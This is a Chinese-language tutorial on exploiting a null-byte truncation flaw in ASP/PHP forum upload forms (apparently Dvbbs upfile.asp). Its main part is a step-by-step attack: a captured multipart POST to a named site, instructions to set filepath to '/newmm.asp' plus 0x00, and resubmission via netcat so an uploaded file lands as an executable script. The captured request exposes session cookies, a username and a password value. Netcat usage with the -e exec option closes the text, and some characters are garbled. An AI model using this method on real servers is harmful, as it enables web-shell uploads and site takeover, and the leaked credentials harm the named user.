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PHP/ASP上传漏洞探究

Jun 13, 2016 am 10:26 AM
asp form php upload principle and Explore Format loopholes use of

1:传漏洞利用的原理只是针对form格式上传的asp和php脚本*** nc(netcat) 用于提交数据包 dos界面下运行: nc -vv www.***.com 802:漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下 用到的变量: filepath 默认值uploadface 属性hiden act 默认值upload 属性hiden file1 就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext -------------------------------------- 我们知道计算机里面的数据是一""为标致的用过c语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: _blank>http://www.***.com/newmm.asp/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp 3:后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了n个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 自己改wse抓到的包里的filepath变量,然后在用nc提交。。。 就算他加n个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 4:详细实例: --------------------- 一、wse抓包结果(存到1.txt里): post /bbs/upphoto/upfile.asp http/1.1 accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp accept-language: zh-cn content-type: multipart/form-data; boundary=-----------7d423a138d0278 accept-encoding: gzip, deflate user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) host: _blank>www.xin126.com content-length: 1969 connection: keep-alive cache-control: no-cache cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84 -----------------------------7d423a138d0278 content-disposition: form-data; name="filepath" ../medias/myphoto/ -----------------------------7d423a138d0278 ... ... 上传 ---------------7d423a138d0278----------------- 二、ultraedit打开1.txt改数据: ...... -----------------------------7d423a138d0278 content-disposition: form-data; name="filepath" /newmm.asp█ www.xin126.com 80 16位表示:0x00或者00h 其实你改的时候就直接再filepath的结尾处加个00就ok了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... host: _blank>www.xin126.com content-length: 1969 我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就ok了 附:NC Usage: 监听外部主机 nc [-options] hostname port[s] [ports] ... 监听本地主机 nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -g num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -l listen harder, re-listen on socket close -n numeric-only ip addresses, no dns -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer telnet negotiation -u udp mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-i/o mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive]

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